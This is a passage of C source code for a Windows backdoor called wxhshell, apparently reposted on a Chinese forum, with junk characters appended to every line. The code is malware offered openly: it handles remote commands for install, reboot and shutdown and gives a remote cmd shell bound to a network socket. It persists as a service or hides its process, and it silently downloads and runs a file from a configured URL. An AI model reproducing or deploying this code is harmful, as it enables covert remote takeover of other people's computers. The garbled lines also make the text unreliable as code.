  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N"YK@)*Q  
  } V6@*\+:3)  
  else { B?$01?9V  
6z9R1&~%  
    switch(cmd[0]) { ;}n9y ci#  
  u#41osUVW>  
  // 帮助 Uh3wj|0  
  case '?': { B_SZ?o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vs\'1^*D  
    break; ldAov\X  
  } )g9)IF  
  // 安装 %w'/n>]j  
  case 'i': { xta}4:d-Y  
    if(Install()) X+dR<GN+YX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;g: UE  
    else l~]hGLviJE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <[Tq7cO0  
    break; P9 {}&z%:  
    } Vqa5RVnI  
  // 卸载 U{T[*s  
  case 'r': { BKE\SWu  
    if(Uninstall()) ~rgf{oGz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZ^{zFoZ  
    else Y|%anTP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mP9cBLz  
    break; q Z8|B  
    } G0I~&?nDa  
  // 显示 wxhshell 所在路径 r/mA2  
  case 'p': { a&$Zpf!!  
    char svExeFile[MAX_PATH]; =@xN(] (  
    strcpy(svExeFile,"\n\r"); h^o+E2<]  
      strcat(svExeFile,ExeFile); &K5C=]4  
        send(wsh,svExeFile,strlen(svExeFile),0); Y%78>-2 L  
    break; y 2z{rd  
    } qpb/g6g  
  // 重启 cm@jt\D  
  case 'b': { i{TIm}_\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); " Sc5qG  
    if(Boot(REBOOT)) Y3vX)D}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1YJ_1VJ  
    else { GXT]K>LA  
    closesocket(wsh); u iBl#J Q  
    ExitThread(0); |7svA<<[  
    } BCBEX&0hk{  
    break; X|X4L(i  
    } t2=a(N-/,  
  // 关机 p//T7r s  
  case 'd': { a$C2}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ho|o,XvLv  
    if(Boot(SHUTDOWN)) N7e`6d!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\ y!3;  
    else { k0H?9Z4k5  
    closesocket(wsh); NFB *1_m  
    ExitThread(0); ;M}itM  
    } b->eg 8|  
    break; 1pd 9s8CA  
    } ooTc/QEYi  
  // 获取shell #,@bxsB  
  case 's': { *-?Wcz  
    CmdShell(wsh); 3.Ji5~  
    closesocket(wsh); Oq*n9V  
    ExitThread(0); tRLE,(S,-  
    break; |w=Ec#)t4  
  } S-isL4D.Z  
  // 退出 gzVtxDh  
  case 'x': { S4L-/<s[*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1)$%Jr  
    CloseIt(wsh); Kb^>X{  
    break; ki\B!<uv  
    } TG1P=g5h  
  // 离开 Ba/RO36&c  
  case 'q': { ,%A)"doaG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bRWIDPh  
    closesocket(wsh); 8V6=i'GK  
    WSACleanup(); X6Un;UL  
    exit(1); p`d XqW  
    break; 0z<H(|  
        } t2"@Ps&1|  
  } Y^ QKp"  
  } As0 B\  
F7\BF  
  // 提示信息 Tak t_N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N5m'To]  
} (VR" Mi4  
  } G;/Q>V  
YnSbw3U.I  
  return; 5QAdcEcN@O  
} G@9u:\[l  
5B1G?`]?  
// shell模块句柄 NeHx2m+  
int CmdShell(SOCKET sock) >L8?=>>?\  
{ os[ZIHph  
STARTUPINFO si; L~IE,4  
ZeroMemory(&si,sizeof(si)); uM<|@`&b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O#vn)+Y,*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q%>7L<r  
PROCESS_INFORMATION ProcessInfo; @|BD|{k  
char cmdline[]="cmd"; uG;?vvg>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4:D:| r  
  return 0; b6|Z"{TI _  
} b\:~;  
ZP-dW|<[ x  
// 自身启动模式 !K[/L< Kv  
int StartFromService(void) |8bE9qt.P  
{ lK*jhW?3:  
typedef struct fmFzW*,E  
{ <|a=hHPi:  
  DWORD ExitStatus; \^9pW 2v  
  DWORD PebBaseAddress; EJ`Q8uz  
  DWORD AffinityMask; :/6()_>bO  
  DWORD BasePriority; _5b0wdB  
  ULONG UniqueProcessId; q]TqI' o  
  ULONG InheritedFromUniqueProcessId; bw9 nB{C<  
}   PROCESS_BASIC_INFORMATION; ]BfS270  
-j&Vtr  
PROCNTQSIP NtQueryInformationProcess; .Rvf/-e  
8.yCA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c_#*mA"+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rv<L#!; t  
^2E hlK^)  
  HANDLE             hProcess; }z wX  
  PROCESS_BASIC_INFORMATION pbi; ?W!ry7gXO  
_42Z={pZZq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F}D3,&9N  
  if(NULL == hInst ) return 0; )7dEi+v52  
'd/*BjNp)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9*\g`fWc}{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0oSQY[ht/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p>q&&;fe  
n3$gx,KL  
  if (!NtQueryInformationProcess) return 0; GF'f[F6oI  
P`EgA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #-{N Ws\  
  if(!hProcess) return 0; [(ygisqt  
L+.H z&*@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M\9F:.t=  
cvfUyp;P  
  CloseHandle(hProcess); IE;\7 r+h  
F+uk AT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q_]~0PoH  
if(hProcess==NULL) return 0; Ux}W&K/?'  
|gv{z"  
HMODULE hMod; Efx=T$%^&  
char procName[255]; FaY_ 0G;y  
unsigned long cbNeeded; \0?$wIH?  
3+>OGwfQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,[X_]e;  
J4>;[\%m  
  CloseHandle(hProcess); |@RpWp>2  
b9uBdo@o  
if(strstr(procName,"services")) return 1; // 以服务启动 _R^y\1Qu  
ARF\fF|<2  
  return 0; // 注册表启动 1k[GuG%/K  
} 6{=_718l`  
Z5B/|{  
// 主模块 MDHb'<o?y  
int StartWxhshell(LPSTR lpCmdLine) Y5Z!og  
{ #!})3_Qc(y  
  SOCKET wsl; 9i=B  
BOOL val=TRUE; ? %(spV  
  int port=0; }G'XkoI&  
  struct sockaddr_in door; ubbnFE&PD  
GoIQ>n  
  if(wscfg.ws_autoins) Install(); . I==-|  
=7 w>wW-  
port=atoi(lpCmdLine); fu R2S70d  
S!h Xf|*0[  
if(port<=0) port=wscfg.ws_port; 3vW4<:Lgy  
ag 8`O&+  
  WSADATA data; fF;h V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `/4:I  
P!e=b-T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x[X`a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z%sy$^v@vD  
  door.sin_family = AF_INET; {^mKvc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {C")#m-0  
  door.sin_port = htons(port); `}fw1X5L  
BBnq_w"a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zzIr2so  
closesocket(wsl); K_ke2{4Jm  
return 1; }x:f%Z5h  
} 0.Vi9 7`  
Ck'aHe22'  
  if(listen(wsl,2) == INVALID_SOCKET) { cb$-6ZE/  
closesocket(wsl); vFQ,5n;fF  
return 1; O0hu qF$K  
} iw\%h9  
  Wxhshell(wsl); LFf`K)q  
  WSACleanup(); QyGnDomQ  
;Vu5p#,O<M  
return 0; RMP9y$~3pU  
: ]WqfR)#  
} Zu/<NC (  
+Qj(B@ i  
// 以NT服务方式启动 F)Oe9x\/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [6tSYUZs  
{ rs-,0'z,7  
DWORD   status = 0; )T|L,Lp  
  DWORD   specificError = 0xfffffff; %J~WC$=Qv  
.`p&ATg v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [L(h G a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7%;_kFRV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -VT+O+9_A  
  serviceStatus.dwWin32ExitCode     = 0; ig+4S[L~n  
  serviceStatus.dwServiceSpecificExitCode = 0; [[+ pMI  
  serviceStatus.dwCheckPoint       = 0; +TJ EG?o  
  serviceStatus.dwWaitHint       = 0; GP a`e  
c#cx>wq9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k)7{Y9_No  
  if (hServiceStatusHandle==0) return; X}A'Cg0y  
t ^SzqB  
status = GetLastError(); V diJ>d[  
  if (status!=NO_ERROR) #FH[hRo=6  
{ "r'ozf2 \  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |E)aT#$f'  
    serviceStatus.dwCheckPoint       = 0; \Qy$I-Du  
    serviceStatus.dwWaitHint       = 0; Z`Z5sj 4{  
    serviceStatus.dwWin32ExitCode     = status; -{jdn%Y7CK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1AD]v<M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jxl6a:  
    return; 7cTk@Gq  
  } R 9 4^4I  
I)SG wt-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J n&7C  
  serviceStatus.dwCheckPoint       = 0; @)6jE!LC  
  serviceStatus.dwWaitHint       = 0; z rfUQO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O7G"sT1Dv  
} kcuzB+  
7h9U{4r: M  
// 处理NT服务事件,比如:启动、停止 19UN*g3(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u bW]-U=T  
{ xTz%nx  
switch(fdwControl) W!L+(!&H  
{ I]`-|Q E  
case SERVICE_CONTROL_STOP: n/4i|-^  
  serviceStatus.dwWin32ExitCode = 0; mY7>(M{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qxOi>v0\H  
  serviceStatus.dwCheckPoint   = 0; gl%`qf6:O  
  serviceStatus.dwWaitHint     = 0; B&?sF" Y  
  { &[[K"aM1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R[B?C;+(O  
  } EnVuD 9  
  return; pY"O9x  
case SERVICE_CONTROL_PAUSE: (5Nv8H8|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +0l`5."d  
  break; s>n(`?@L  
case SERVICE_CONTROL_CONTINUE: jeUUa-zR3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wr?'$:  
  break; 7:E!b=o#  
case SERVICE_CONTROL_INTERROGATE: K%5"u'  
  break; zZ-\a[F  
}; r(A.<`\   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \}0-^(9zd  
} f58?5(Dc|  
4,p;Km&  
// 标准应用程序主函数 V ~{fB~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {R6HG{"IS6  
{ jNDx,7F-  
zCaT tb|@  
// 获取操作系统版本 XzIx:J6  
OsIsNt=GetOsVer(); w?Ju5 5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R9+jW'[K  
PJ4(}a  
  // 从命令行安装 @~td`Z?1 y  
  if(strpbrk(lpCmdLine,"iI")) Install(); *Mc7f?H  
w8Sv*K  
  // 下载执行文件 \*t~==WB  
if(wscfg.ws_downexe) { _ QOZ sEe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $.%rAa_H  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fg]?zEa  
} sBX-X$*N  
I0'WOV70  
if(!OsIsNt) { ]b?9zeT*'l  
// 如果时win9x,隐藏进程并且设置为注册表启动 @C_KV0i  
HideProc(); )FN;+"IJ  
StartWxhshell(lpCmdLine); >/$Fh:R-  
} e.d #wyeX  
else bpAv1udX-W  
  if(StartFromService()) W!Gdf^Yy<  
  // 以服务方式启动 (.Y/  
  StartServiceCtrlDispatcher(DispatchTable); rh*sbZ68>E  
else 1Tp/MV/>  
  // 普通方式启动 $g9**b@  
  StartWxhshell(lpCmdLine); oPf)be| #  
OHr Y(I6  
return 0; ZD/jX_!t  
}
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只看该作者 1 发表于: 2006-10-10
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